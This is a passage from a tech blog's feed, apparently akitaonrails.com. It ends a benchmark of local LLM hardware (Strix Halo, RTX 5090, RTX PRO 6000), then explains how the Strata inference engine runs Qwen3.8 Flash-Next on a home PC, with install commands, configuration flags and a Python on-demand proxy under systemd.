<h3>Strix Halo: plenty of capacity, little bandwidth<span class="hx:absolute hx:-mt-20" id="strix-halo-plenty-of-capacity-little-bandwidth"></span>
    <a href="#strix-halo-plenty-of-capacity-little-bandwidth" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>It is a good compact and efficient headless box. Unified memory lets it run models that a 24 or 32 GB GPU would reject. In this test, the best model was also <strong>Q2_0</strong>, at 55 to 65 tokens per second.</p>
<p>The problem appears every time the agent reads a large context. Almost two minutes to process the long workload adds up quickly during a session. I would use it as a private server for asynchronous tasks, simple agents, and workloads where capacity matters more than immediate response.</p>
<h3>RTX 5090: the best home option today<span class="hx:absolute hx:-mt-20" id="rtx-5090-the-best-home-option-today"></span>
    <a href="#rtx-5090-the-best-home-option-today" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The <a href="https://www.nvidia.com/en-us/geforce/graphics-cards/50-series/rtx-5090/"target="_blank" rel="noopener">RTX 5090</a> has 32 GB, 21,760 CUDA cores, and the same nominal 1,792 GB/s bandwidth as the RTX PRO 6000. Capacity is the missing piece: I must reserve 4 GiB for the desktop and use RAM and SSD for the experts that do not fit.</p>
<p>With Strata, it pushed Q2_0 to 223 to 259 tokens per second and read the long workload at 6,158 tokens per second. With Basalt, those numbers reached 400 and 8,573, respectively. This is the first local configuration that does not make me feel like I am waiting for the machine at every step. It is also a card I can use for gaming, image generation, video, and everything else in the workstation.</p>
<h3>RTX PRO 6000: three times the VRAM, server-class price<span class="hx:absolute hx:-mt-20" id="rtx-pro-6000-three-times-the-vram-server-class-price"></span>
    <a href="#rtx-pro-6000-three-times-the-vram-server-class-price" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The <a href="https://www.nvidia.com/en-us/products/workstations/professional-desktop-gpus/rtx-pro-6000/"target="_blank" rel="noopener">RTX PRO 6000 Blackwell</a> has 96 GB of GDDR7 ECC, 24,064 CUDA cores, and the same 1,792 GB/s bandwidth. The extra capacity keeps many more experts resident, makes room for a larger quantization, and holds context without fighting the desktop for the last few gigabytes.</p>
<p>It costs <a href="https://marketplace.nvidia.com/en-us/enterprise/laptops-workstations/nvidia-rtx-pro-6000-blackwell-workstation-edition/"target="_blank" rel="noopener">$16,000 in NVIDIA&rsquo;s store</a>, eight times the 5090&rsquo;s suggested $1,999 price. I have not run this benchmark on one, so I will not invent a speed. Equal bandwidth means that three times the memory will not produce three times the tokens per second. Its gain comes from keeping more data on the card and avoiding the slow RAM and PCIe path.</p>
<p>For individual use, the 5090 makes more financial sense. The PRO 6000 starts to make sense when 96 GB solves a model you actually need, when ECC and professional support matter, or when several sessions will share one card.</p>
<h2>Verdict<span class="hx:absolute hx:-mt-20" id="verdict"></span>
    <a href="#verdict" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><table>
  <thead>
      <tr>
          <th>Hardware</th>
          <th>Best choice today</th>
          <th>Experience</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1x RTX 3090/4090, 24 GB</td>
          <td>Qwen3.8 Flash-Next Q2_0</td>
          <td>Viable with offload; check prefill and decode on your stack</td>
      </tr>
      <tr>
          <td>Strix Halo</td>
          <td>Qwen3.8 Flash-Next Q2_0</td>
          <td>55 to 65 tok/s; long prompts take time</td>
      </tr>
      <tr>
          <td>RTX 5090</td>
          <td><strong>Qwen3.8 Flash-Next Q2_0 on Basalt</strong></td>
          <td>377 to 400 tok/s; best balance I measured</td>
      </tr>
      <tr>
          <td>RTX PRO 6000</td>
          <td>Probably IQ3_S or larger</td>
          <td>Excellent capacity, unmeasured in this round</td>
      </tr>
  </tbody>
</table>
<p>Local open source models have finally entered a practical range. A single 5090 runs a model that reached Tier A in my v4 benchmark and, with Q2_0 on Basalt, reached 400 tokens per second in the canary. The Strix also did far better than the 7.7 tokens per second from the dense Qwen I had tested before.</p>
<p>The limits remain clear. Context consumes memory, the desktop needs the same VRAM, and every expert outside the card travels over PCIe or falls back to RAM. DeepSeek at 17 tokens per second shows how useless &ldquo;it runs&rdquo; can be as a metric. If every iteration takes several hours, model quality stops mattering because nobody can work that way.</p>
<blockquote>
  <p>For home hardware, the best model preserves enough quality at a speed that lets you iterate. In this round, that was Qwen3.8 Flash-Next Q2_0 on Basalt, running on an RTX 5090.</p>

</blockquote>
<p>The <a href="https://github.com/akitaonrails/llm-opensource-benchmark"target="_blank" rel="noopener">benchmark repository</a> has the runners, configurations, raw results, and hidden tests. Repeat it on your machine and send results. Hardware, engine, quantization, and context change the answer. A ready-made ranking is a starting point; the final decision is still measured against your own work.</p>
]]></content:encoded><category>llm-benchmarks</category><category>local-models</category><category>llms</category><category>hardware</category></item><item><title>Best Open Source LLM: Strata with Qwen 3.8 Flash Next</title><link>https://www.akitaonrails.com/en/2026/10/22/best-open-source-llm-strata-with-qwen-3-8-flash-next/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/10/22/best-open-source-llm-strata-with-qwen-3-8-flash-next/</guid><pubDate>Thu, 22 Oct 2026 11:45:00 -0300</pubDate><description>&lt;p&gt;Strata showed up in almost every article in the home stretch of benchmark v4. In the &lt;a href="https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-consumer-open-source-rtx5090-strix-halo-strata/"&gt;consumer-grade open source&lt;/a&gt; one it was the lead; in the &lt;a href="https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/"&gt;what a team costs on B300 and H200&lt;/a&gt; one, the model it serves became the recommendation for the DGX Spark; and in the &lt;a href="https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-the-open-source-verdict-as-of-oct-2026/"&gt;v4 verdict&lt;/a&gt; it&amp;rsquo;s the only serious answer for anyone who wants to run a good model at home.&lt;/p&gt;
&lt;p&gt;The result, in short: &lt;strong&gt;Qwen3.8 Flash-Next&lt;/strong&gt; served by Strata on an RTX 5090 scored &lt;strong&gt;91, Tier A&lt;/strong&gt;, with zero nudges and all 14 planted defects fixed (two only after the reveal), 1.5 points behind the same model running on a datacenter B300. And it did that at about 159 tokens per second.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Strata showed up in almost every article in the home stretch of benchmark v4. In the <a href="/en/2026/10/22/llm-benchmark-v4-consumer-open-source-rtx5090-strix-halo-strata/">consumer-grade open source</a> one it was the lead; in the <a href="/en/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/">what a team costs on B300 and H200</a> one, the model it serves became the recommendation for the DGX Spark; and in the <a href="/en/2026/10/22/llm-benchmark-v4-the-open-source-verdict-as-of-oct-2026/">v4 verdict</a> it&rsquo;s the only serious answer for anyone who wants to run a good model at home.</p>
<p>The result, in short: <strong>Qwen3.8 Flash-Next</strong> served by Strata on an RTX 5090 scored <strong>91, Tier A</strong>, with zero nudges and all 14 planted defects fixed (two only after the reveal), 1.5 points behind the same model running on a datacenter B300. And it did that at about 159 tokens per second.</p>
<p>In this article I go through what Strata is, why it matters right now, what it doesn&rsquo;t solve, and how I set it up for daily use, with automatic loading and unloading and wired into OpenCode.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261022121453_strata-qwen-flash-next-opencode.png" alt="OpenCode running Qwen3.8 Flash-Next through Strata on the RTX 5090, between 129.9 and 153.1 tokens per second"  loading="lazy" /></p>
<h2>What Strata is<span class="hx:absolute hx:-mt-20" id="what-strata-is"></span>
    <a href="#what-strata-is" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://github.com/Niko1221/Strata"target="_blank" rel="noopener">Strata</a> is an open source inference engine, MIT licensed, built around one model: Qwen3.8 Flash-Next, a 125B-parameter MoE with 6B active per token, which normally calls for a server. The code is C++ and CUDA, reuses parts of llama.cpp/ggml, and has builds for NVIDIA, AMD (Strix Halo included), Intel Arc and Mac. It brings up an OpenAI- and Anthropic-compatible API on localhost.</p>
<p>The trick is treating the whole PC as a memory hierarchy. The model has 24,576 experts, 512 in each of its 48 layers, and each token uses only 10 per layer, plus one shared expert:</p>
<ul>
<li><strong>VRAM</strong> holds the most-used experts, like a cache;</li>
<li><strong>RAM</strong> holds all of them, and when a token needs one that isn&rsquo;t on the card, the processor computes it right there while the card works on the others;</li>
<li>the <strong>SSD</strong> holds a lookup table of about 29 GB, from which the model reads a few rows per token.</li>
</ul>
<p>On top of that, a speculation head that ships with the model itself guesses the next tokens and the big model checks them all at once. The README promises the same answer 1.6 to 1.8 times faster.</p>
<p>On my 5090, the log shows what this looks like in practice. The 32 GB of VRAM hold 10 to 11.5 thousand experts in about 20 to 22 GiB, almost half the total, and <strong>generally 90% to 97% of the experts each token asks for are already on the card</strong>. The CPU computes the rest directly in RAM, and only a small fraction gets copied to the card over the PCIe bus. That&rsquo;s why the CPU works hard too, as you can see further down.</p>
<h2>Why this matters now<span class="hx:absolute hx:-mt-20" id="why-this-matters-now"></span>
    <a href="#why-this-matters-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Because memory has become a luxury item. In 2026 the DRAM contract price <a href="https://www.trendforce.com/presscenter/news/20260601-13070.html"target="_blank" rel="noopener">almost doubled in a single quarter</a>, manufacturers <a href="https://www.trendforce.com/presscenter/news/20260930-13258.html"target="_blank" rel="noopener">keep prioritizing servers</a>, and Micron <a href="https://www.storagenewsletter.com/2025/12/05/micron-announces-exit-from-crucial-consumer-business/"target="_blank" rel="noopener">walked away from the consumer market</a> to serve the big customers. The RTX 5090 itself, when it shows up, costs two and a half to almost five times MSRP, as I covered in the <a href="/en/2026/10/22/llm-benchmark-v4-the-open-source-verdict-as-of-oct-2026/">verdict</a>.</p>
<p>In this scenario, the traditional way of running a Tier A model at home, with the whole model inside VRAM, is a non-starter. Flash-Next in NVFP4 took about 100 GB of card memory on the B300; nobody has that at home.</p>
<blockquote>
  <p>Strata flips the premise: instead of demanding VRAM for the whole model, it uses VRAM as a cache and RAM as the warehouse. That&rsquo;s what lets a Tier A model run on a fraction of the video memory it would otherwise ask for.</p>

</blockquote>
<h2>It isn&rsquo;t magic<span class="hx:absolute hx:-mt-20" id="it-isnt-magic"></span>
    <a href="#it-isnt-magic" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Strata makes it fit, but it doesn&rsquo;t work miracles. The stated minimum is <strong>32 GB of RAM and VRAM combined</strong>, but that only runs the most compressed version; the IQ3_S that scored 91 asks for about 64 GB of RAM. Add <strong>about 80 GB of disk</strong>, preferably SSD, and a 12 GB card or better on the official path. Below that it&rsquo;ll still start, there are reports with an 8 GB card, but at about 15 tokens per second.</p>
<h3>Memory bandwidth sets the speed<span class="hx:absolute hx:-mt-20" id="memory-bandwidth-sets-the-speed"></span>
    <a href="#memory-bandwidth-sets-the-speed" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In token generation, the bottleneck on a local machine is almost never compute. It&rsquo;s how many bytes per second the memory can deliver to the cores, because every token has to read the model&rsquo;s active weights. And there the gap between memory types is brutal:</p>
<table>
  <thead>
      <tr>
          <th>Memory</th>
          <th style="text-align: right">Approximate bandwidth</th>
          <th style="text-align: right">Versus the 5090</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>RTX 5090 GDDR7 VRAM</td>
          <td style="text-align: right">~1.8 TB/s</td>
          <td style="text-align: right">1x</td>
      </tr>
      <tr>
          <td>Strix Halo LPDDR5X unified memory</td>
          <td style="text-align: right">~256 GB/s</td>
          <td style="text-align: right">7 times slower</td>
      </tr>
      <tr>
          <td>Desktop DDR5 RAM, dual channel</td>
          <td style="text-align: right">~60 to 100 GB/s</td>
          <td style="text-align: right">18 to 30 times slower</td>
      </tr>
      <tr>
          <td>PCIe 5.0 x16 bus</td>
          <td style="text-align: right">~64 GB/s per direction</td>
          <td style="text-align: right">almost 30 times slower</td>
      </tr>
      <tr>
          <td>PCIe measured by Strata on my machine (card at x8)</td>
          <td style="text-align: right">~29 GB/s</td>
          <td style="text-align: right">about 60 times slower</td>
      </tr>
  </tbody>
</table>
<p>The last row is from my machine: the card is running on 8 PCIe lanes instead of 16, and Strata measures that at startup. One more reason the VRAM cache matters so much.</p>
<p>The Strix Halo has 128 GB and fits a lot more than a 5090, but every byte arrives seven times slower. That&rsquo;s what I measured in the benchmark: the dense Qwen 3.8 27B in Q8 reads about 29 GB per token, and on the Strix the theoretical ceiling sits near 9 tokens per second. I measured 7.7. The same math on the 5090&rsquo;s bandwidth would give about 60, seven times more, if the model fit along with the context.</p>
<p>That&rsquo;s why Strata&rsquo;s design works: the hot path stays in GDDR7, and whatever misses the cache gets computed by the CPU in DDR5, or crosses PCIe, both dozens of times slower. With over 90% cache hits, the little that&rsquo;s left out doesn&rsquo;t drag the speed down. On a small card, the cache covers less, more experts take the slow road, and speed drops: the author himself publishes 53 tokens per second on a 12 GB RTX 5070, a third of my 5090.</p>
<h3>A potato PC won&rsquo;t run it<span class="hx:absolute hx:-mt-20" id="a-potato-pc-wont-run-it"></span>
    <a href="#a-potato-pc-wont-run-it" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>So forget the laptop with integrated graphics and 16 GB of RAM. Without a reasonable dedicated card, without 32 GB of RAM and VRAM combined and without an SSD, the model won&rsquo;t load, or it loads and runs at RAM speed, which is horse-and-buggy speed.</p>
<p>And there&rsquo;s an entry cost that doesn&rsquo;t show up in generation speed: Strata reads the whole first message of every conversation, and the README cites <a href="https://github.com/Niko1221/Strata#good-to-know"target="_blank" rel="noopener">about 60 seconds per 30 thousand tokens</a> as a rule of thumb. On my 5090 it&rsquo;s much faster, about 100 thousand tokens in 16 to 20 seconds, but on a smaller card count on the README number. Coding agents send big system prompts, so the first answer of each session takes longer than the ones after it.</p>
<h3>Heavy even on my 5090<span class="hx:absolute hx:-mt-20" id="heavy-even-on-my-5090"></span>
    <a href="#heavy-even-on-my-5090" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>My machine is no slouch: Ryzen 9 7950X3D, 96 GB of RAM (the system sees about 92), 32 GB RTX 5090. Even so, Flash-Next takes up everything:</p>
<ul>
<li>at load time, it pushes about 50 GB of experts into RAM, at about 3 GB per second with a cold SSD, and fills the card&rsquo;s cache with over 20 GiB;</li>
<li>with everything loaded, less than 800 MB of VRAM is left free;</li>
<li>with the server up, the machine sits at 88 of 92 GB of RAM used, and the system starts swapping.</li>
</ul>
<p>This is btop in the middle of a work session with OpenCode. The Strata process alone holds 54 GB of RAM and half the CPU, with half of the 7950X3D&rsquo;s 32 threads pinned at 100% and the rest above 50%. The 5090 is at 99% utilization, with 30 of 32 GB of VRAM in use and pulling 351 W. There&rsquo;s 4 GB of RAM left available, and almost 48 GB already in swap.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261022122545_strata-btop-7950x3d-5090.png" alt="btop during a Strata session: RAM at 96%, swap half full, half the CPU at 100% and the rest above 50%, and the RTX 5090 at 99% with 30 of 32 GB of VRAM"  loading="lazy" /></p>
<p>The side effect shows up in the rest of the system. With VRAM at the limit, my desktop&rsquo;s app launcher and the terminal on a secondary monitor stopped opening properly, and other programs get sluggish. The fix was telling Strata to give about 2.5 GB of VRAM back to the desktop, with the <code>--vram-elastic</code> option, at the cost of a slightly smaller cache.</p>
<blockquote>
  <p>With all that, I firmly believe my machine is the minimum for using a local LLM in real programming work, beyond small exercises. With less than that, count on much lower speed, shorter context and the whole PC suffering while the model is loaded.</p>

</blockquote>
<h2>How to install<span class="hx:absolute hx:-mt-20" id="how-to-install"></span>
    <a href="#how-to-install" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The official path on Linux and Mac is the one-line installer. It checks the SHA-256, doesn&rsquo;t ask for root and installs into your home folder. Like any <code>curl | sh</code>, download it and read it first:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -fsSL https://github.com/Niko1221/Strata/releases/latest/download/install.sh -o install.sh
</span></span><span class="line"><span class="cl">less install.sh
</span></span><span class="line"><span class="cl">sh install.sh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>After that, <code>strata launch</code> asks for model, context and access, downloads the right engine for your card and the model, and starts serving. For scripts, everything goes through flags:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">strata launch                                <span class="c1"># guided screens</span>
</span></span><span class="line"><span class="cl">strata launch --model &lt;variant&gt; --yes --no-tui   <span class="c1"># no questions</span>
</span></span><span class="line"><span class="cl">strata launch --status                       <span class="c1"># what is being served</span>
</span></span><span class="line"><span class="cl">strata launch --stop                         <span class="c1"># stop</span>
</span></span><span class="line"><span class="cl">strata monitor --url http://127.0.0.1:8080   <span class="c1"># speed, GPU, memory</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>I used the <strong>IQ3_S</strong> variant, the one that scored 91 in the benchmark. On disk it takes about 84 GB in two files (the 55 GB model and the 29 GB lookup table), plus about 7 GB for the speculation head.</p>
<p>The configuration <code>strata launch</code> generates is a JSON with the engine arguments. The ones that matter in mine:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="s2">&#34;args&#34;</span><span class="err">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--expert-cache&#34;</span><span class="p">,</span> <span class="s2">&#34;auto&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--prefill&#34;</span><span class="p">,</span> <span class="s2">&#34;auto&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--spec&#34;</span><span class="p">,</span> <span class="s2">&#34;4&#34;</span><span class="p">,</span> <span class="s2">&#34;--spec-min-p&#34;</span><span class="p">,</span> <span class="s2">&#34;0.5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--mtp&#34;</span><span class="p">,</span> <span class="s2">&#34;/mnt/data/strata-models/mtp/rt&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--max-context&#34;</span><span class="p">,</span> <span class="s2">&#34;262144&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--kv&#34;</span><span class="p">,</span> <span class="s2">&#34;int8&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--kv-resident&#34;</span><span class="p">,</span> <span class="s2">&#34;32768&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;--vram-elastic&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>--spec 4</code> turns on speculation with a window of 4 tokens per step, up to 3 guessed by the speculation head; <code>--kv int8</code> stores the attention cache in 8 bits; <code>--kv-resident</code> keeps only 32 thousand positions of the context cache, the most-read ones, in VRAM; and <code>--vram-elastic</code> lets it give VRAM back to the desktop with the server running.</p>
<h3>From 128 thousand to 256 thousand tokens of context<span class="hx:absolute hx:-mt-20" id="from-128-thousand-to-256-thousand-tokens-of-context"></span>
    <a href="#from-128-thousand-to-256-thousand-tokens-of-context" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The benchmark ran with 128 thousand tokens of context, which is what the install configured by default. Later I bumped it to 256 thousand, with <code>--max-context 262144</code>, and the loss was small: in the server logs, generation averaged about 190 tokens per second in a short session with 128 thousand and about 175 with 256 thousand, about 10% slower for twice the context, a bit more with VRAM given back to the desktop.</p>
<p>What holds this together is <code>--kv-resident</code>: only 32 thousand positions of the attention cache, the most-read ones, stay in VRAM, the rest stays in RAM, and even so about 97% of the reads from that cache happen on the card. The benchmark&rsquo;s 91 was measured with 128 thousand; with 256 thousand I measured speed, and quality hasn&rsquo;t been re-tested yet.</p>
<p>For me, 256 thousand is the minimum for long agent work. With 128 thousand, a real session blows through the context fast, and the agent starts compacting its memory all the time. That gets annoying very quickly, and every compaction throws away details the model will need later.</p>
<blockquote>
  <p>Short context is a hidden problem with local models. Before looking at tokens per second, check how much context you can serve without the speed collapsing.</p>

</blockquote>
<h2>Loading and unloading on its own<span class="hx:absolute hx:-mt-20" id="loading-and-unloading-on-its-own"></span>
    <a href="#loading-and-unloading-on-its-own" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Keeping about 50 GB of RAM and the entire card tied up all day, just to have the model ready when I need it, makes no sense. So I put together a small proxy, in pure Python, that&rsquo;s always up on port 8080 and controls Strata:</p>
<ul>
<li>it answers the model list on its own, so OpenCode sees the model without waking anything up;</li>
<li>on the first chat request, it brings Strata up on an internal port and waits for it to be ready, about 40 seconds;</li>
<li>it relays the responses in streaming;</li>
<li>after 10 minutes without traffic, it takes Strata down and gives the card and the RAM back to the system.</li>
</ul>
<p>The core is this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">ensure_up</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">_lock</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">ready</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">True</span>
</span></span><span class="line"><span class="cl">        <span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">([</span><span class="n">STRATA</span><span class="p">,</span> <span class="s2">&#34;serve&#34;</span><span class="p">,</span> <span class="s2">&#34;--config&#34;</span><span class="p">,</span> <span class="n">CFG</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                          <span class="s2">&#34;--host&#34;</span><span class="p">,</span> <span class="s2">&#34;127.0.0.1&#34;</span><span class="p">,</span> <span class="s2">&#34;--port&#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">UP_PORT</span><span class="p">)],</span>
</span></span><span class="line"><span class="cl">                         <span class="n">start_new_session</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">90</span><span class="p">):</span>          <span class="c1"># cold start takes ~35-40 s</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">ready</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">                <span class="n">set_reserve</span><span class="p">()</span>        <span class="c1"># give VRAM back to the desktop</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="kc">True</span>
</span></span><span class="line"><span class="cl">            <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">idle_watch</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">30</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">_last</span> <span class="o">&gt;</span> <span class="n">IDLE_TTL</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">stop_up</span><span class="p">()</span>                <span class="c1"># free the GPU and ~50 GB of RAM</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And a systemd user service keeps the proxy up from login (trimmed version):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="c1"># ~/.config/systemd/user/qwen-strata.service</span>
</span></span><span class="line"><span class="cl"><span class="k">[Unit]</span>
</span></span><span class="line"><span class="cl"><span class="na">Description</span><span class="o">=</span><span class="s">Qwen3.8 Flash-Next on-demand proxy (Strata RTX 5090)</span>
</span></span><span class="line"><span class="cl"><span class="na">After</span><span class="o">=</span><span class="s">network-online.target</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">[Service]</span>
</span></span><span class="line"><span class="cl"><span class="na">Environment</span><span class="o">=</span><span class="s">QWEN_IDLE_TTL=600</span>
</span></span><span class="line"><span class="cl"><span class="na">Environment</span><span class="o">=</span><span class="s">QWEN_VRAM_RESERVE_MIB=2560</span>
</span></span><span class="line"><span class="cl"><span class="na">Environment</span><span class="o">=</span><span class="s">QWEN_UP_PORT=8781</span>
</span></span><span class="line"><span class="cl"><span class="na">Environment</span><span class="o">=</span><span class="s">QWEN_PROXY_PORT=8080</span>
</span></span><span class="line"><span class="cl"><span class="na">ExecStart</span><span class="o">=</span><span class="s">%h/.local/bin/qwen-strata-ondemand</span>
</span></span><span class="line"><span class="cl"><span class="na">Restart</span><span class="o">=</span><span class="s">on-failure</span>
</span></span><span class="line"><span class="cl"><span class="na">KillMode</span><span class="o">=</span><span class="s">mixed</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">[Install]</span>
</span></span><span class="line"><span class="cl"><span class="na">WantedBy</span><span class="o">=</span><span class="s">default.target</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
